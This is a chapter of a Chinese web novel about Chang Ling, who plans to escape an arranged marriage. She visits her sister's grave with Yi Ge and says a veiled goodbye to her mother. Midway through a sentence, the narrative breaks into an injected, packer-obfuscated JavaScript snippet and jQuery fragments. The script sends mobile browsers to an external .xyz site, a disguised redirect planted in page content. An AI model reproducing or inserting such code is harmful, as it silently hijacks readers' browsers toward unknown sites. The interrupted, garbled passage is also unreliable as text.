1999年12月30日，距离千禧年还有三十六小时。


    -


    昌灵背着书包往家属楼顶楼走，昨天晚上和易阁说好了今天要来给他换药。


    不过更让昌灵高兴的是，今天王德富没有去家里找她。也就意味着，今天一整天，她都是自由的。


    这是昌灵第二次来顶楼，与上次不同的是，易阁没再给她敲门前做心理准备的时间，这次的门大敞着。


    他也不嫌往里灌风。


    昌灵抿抿唇角，还是很有礼貌地敲了两下门，半天都没有人应声。


    “易阁？你在吗？”昌灵迈了一小步，试探着说，“那我进来了？”


    昌灵刻意加重了脚步，客厅很小，粗略扫一圈就知道没人在。她的视线最终落在半掩着的房间门上，易阁不会在睡觉吧？


    想到这她回头看了一眼才被自己带上的房门，这人就这么大开着门在里面睡觉？心可真是够大的。


    来到房间门口时昌灵本想再敲敲门，谁成想门的轴承很松，手刚挨上去，它就自己颤颤巍巍打开了。


    同时还伴随着咯吱咯吱的响声。


    昌灵：“……”


    易阁闻声回过头，也没见多惊讶，“你来了啊，怎么不出声。”


    昌灵站得笔直，替自己辩解道：“我敲门了，还叫过你。”


    “是吗？没听见。”易阁忙着往帆布包里塞衣物，又补充说：“你说话声音比小猫叫大不了多少，谁能听得见。”


    “……”


    昌灵：那是你耳朵不好使。


    她低头看着易阁收拾行李，忍不住说：“你有这么多要带的东西？”


    “这还多？”易阁单膝压住拉链口，用力把帆布包塞紧，“都是些换季的衣服，这幸亏是冬天，棉袄能穿在身上不占地方。”


    昌灵揪着自己的书包背带，“我就只有一个书包，多了会被他们发现的。”


    易阁抽空瞥了她一眼，见人背着书包，问道：“你这是已经收拾好了？这么早背出来？”


    “当然不是。”


    “那你大中午背个书包干嘛？又跟那个胖子去买东西？”


    “……”昌灵闻言嫌弃地皱皱眉，半晌无奈地否认道，“也不是。”


    易阁停下来手里的活计等着她说下文。


    这事也没什么不能说的，昌灵轻轻叹了口气：“我这不是要走了吗，想去东山看看我三姐。


    “以前她还没结婚的时候，跟我关系最好。”


    也是这个家里第一个告诉她，离开这里，就不要再回来了的人。


    易阁说：“那是该去看看。”


    昌灵点头，“所以我先给你上药吧？你一会儿再收拾。”


    “行，那你进来吧，别碰到地上的东西。”


    地上？昌灵低头仔细看，一盒盒磁带整齐地码在她腿边。


    “啊！”昌灵没见过这么多，新奇得睁大了眼睛，蹲下身体欣喜道，“这些都是你的？”


    “嗯，不过带不走了。”易阁说，“你喜欢这些？等到了雁……”


    他忽然噤了声。


    昌灵没听清，“嗯？你说什么？”


    “没什么，等以后赚了钱再重新买就是了。”


    昌灵摸摸这些磁带盒子，想了想说：“算了吧，哪有那么多闲钱买这些呀。”


    易阁没答话。


    昌灵把自己的书包放下，接过易阁手里的药酒，“你坐床边吧，我不会滴到床单上的。”


    易阁想说滴到也没事，反正睡不了两天了。但他想到自己买的两张不同目的地的火车票，莫名有些不敢看昌灵的眼睛，也不知道怎么接她的话。


    等昌灵系好一个全新的、长短不一的、四角乱飞的蝴蝶结，易阁忽然鬼使神差地说：“要不我陪你一起去东山吧？”


    昌灵一愣，片刻后扭紧了药酒的盖子，语气里带着一丝丝疑惑：“你陪我一起？”


    “昂。”易阁动作麻利地穿好衣服，“等你下山天都快黑了，你是不害怕了，我还怕我的车票钱打水漂呢。”


    昌灵：“……”


    难道她还会被狼叼走不成？昌灵小声嘀咕道，没让易阁听见。


    但不管怎么样，昌灵心里都是高兴的。无论去什么地方，有人愿意陪着她总是好的吧？


    **


    事实证明，两个不爱说话的人出行就像两个在做平行运动的雕像，除了埋头前进，并没有多余的语言交流。


    昌灵默默把这种现象归结于天寒风大，正常人都不会想吃一嘴土。


    易阁倒是没觉得别扭。


    东山算是半个荒山，除了附近村落的坟茔之外没有其他东西。昌灵只知道姐姐墓地的大概方位，外嫁女儿去世，娘家妹妹是不被允许一起祭拜的。出殡时昌灵跟着大部队只能送到村口，但她悄悄走了小路跟着寥寥几人的送葬队伍，在远处为三姐哭了一场。


    王家那些人都没掉眼泪。


    越往上走坡越陡，易阁抢先一步爬上去，回身拉了昌灵一把。


    昌灵小声说“谢谢”。


    易阁把手揣回口袋里，仰着头：“还往上？王家的坟可够高的。”


    东山上每块坟地的位置都有讲究，有说位置越高风水越好，所以谁家占到高处的位置，也就意味着在村子里的地位也更高。


    昌灵没什么异议：“要不然我们家怎么会愿意嫁两个女儿过去呢。”


    易阁闻言看了她一眼，片刻后问道：“你恨他们吗？”


    恨他们？昌灵扪心自问，是恨过的。


    恐怕没有人会不恨吧？


    但恨不能带给她任何帮助，只能平添痛苦，所以昌灵不常想起他们。不是忘了，只是不想。


    她难得笑了下，轻声说：“只要我能逃出去，我会当他们全都死了，不会去想，也不会原谅。”


    易阁也笑，“这样也挺好。”


    “走吧，继续往上。”


    易阁每迈到下一处平地上，都会照旧回身拉她一把，一直到王家的祖坟附近。


    昌俪的墓碑在一众王姓的最下方，易阁走马观花路过时没瞧见，还是昌灵眼神好，紧急叫住了他。


    不用昌灵开口，易阁很自觉地往远处走了走，缩着脖子找了块干净石头坐下。剩昌灵一个人蹲在墓碑前，伸出手指抚摸着‘昌俪’的名字。


    姐姐，对不起啊，这么晚才过来看你。


    石碑冰冷，指尖触碰到的不再是姐姐的温度。这段时间压抑的情绪骤然决了堤，昌灵终于可以毫无顾忌地放声痛哭，在姐姐‘面前’。


    易阁盯着脚边的枯草没有抬头，他的手臂已经好了很多，只希望昌灵的伤口也能尽快愈合。


    天色变暗，哭声渐弱。


    易阁估摸着再拖一会儿下山时天就黑了，有心催一催她，才往昌灵的方向看过去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535003|186508||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    女孩抱着膝盖蹲在墓碑前，她身高不算矮，缩起来却也是小小一团。易阁心里倏地一跳，油然生出一种话本里才有的英雄主义。


    这一刻，他仿佛接收到了昌灵释放的求救信号，浑身上下都写着‘救救我吧’。


    易阁喉头发紧，偏头清清嗓子才说：“喂，我们该走了。”


    昌灵听到他的话，缓缓站起身，摸着昌俪的墓碑，同她道别：


    “我要走了，大概不会再回来了。昌俪，如果你在天有灵，记得要保佑我。”


    保佑我一切顺利，逃离这里。


    **


    昌灵和易阁是在半路分开的，昌家和卫生室不在同一个方向，并不顺路。


    时间不算晚，昌灵不需要人送。当然，易阁也没有要送她的意思。


    昌灵闷头小跑了几步，易阁收拾了那么多东西，她也要回去准备准备才行。


    原本还算畅快的心境在看到昌家大门的瞬间散了个干净。


    忍过今天就好了，昌家安慰自己道。


    她理了理跑乱的刘海，面无表情推开了家门。


    “老四回来了啊。”正屋坐着的老太太不阴不阳睨了她一眼。


    昌灵不得不跟她打招呼，“奶奶。”


    “放下东西赶紧去厨房帮帮你嫂子，也不知道今天几点才能吃上饭，磨磨蹭蹭的。”


    昌灵刚想应下，只见昌母推开房间的窗户，招招手示意她过去。


    昌灵不明所以，但还是先进了母亲的房门。


    “妈，怎么了。”


    “来。”昌母举起手里的毛衣给她看，“过来试试。”


    “给我的？”


    “我和你嫂子，用她的旧衣服拆了改的，你比她瘦点，但应该是合身的。”


    砖红色的开衫毛衣，订了几颗黑扣子。昌灵捏了捏毛衣袖子，是软的。


    昌母惋惜道：“赶得急，也没给你准备更好的。”


    “没关系，已经很好了。”起码是为了她专门做的，不是捡几个姐姐剩下的来穿。


    “没想到你也这么快嫁人了，妈真是对不住你。”昌母说着就要落泪。


    昌灵心里叹气，挨着母亲坐下，“妈，我心里明白的。在这个家里，最受委屈的人是你，所以我不怪你。”


    “灵灵……”


    希望你以后也不要怪我。


    她继续说：“我走了以后，家里就剩下小弟，奶奶最疼他，你只要哄住了他，让他帮你说话，奶奶也没办法把你怎么样。”


    昌母呆呆地看着她。


    “不要想着爸爸能为你说话，他不是能依靠的人，小弟还小，只要好好教育他还能变好。


    “大嫂也是好人，你要是心里委屈，可以找她说说话。”


    “灵灵，你怎么……”


    “我不管是在家还是在哪儿，都会照顾好自己，你不要担心我。”


    也不要让我担心。


    “说句大逆不道的话，奶奶还能活几年？你多顾着点自己，知道吗？”


    昌母抹掉脸颊的眼泪，半晌后点点头，哽咽着说：“我知道了。”


    这大概是她与母亲有生以来最温情的时刻，背景却是昌灵无法诉诸于口的告别。


    约莫过了半个小时，大嫂过来敲敲房门说，可以开饭了。


    昌灵应声说好，随即攥了下母亲的手，叮嘱道：“饭也要好好吃。”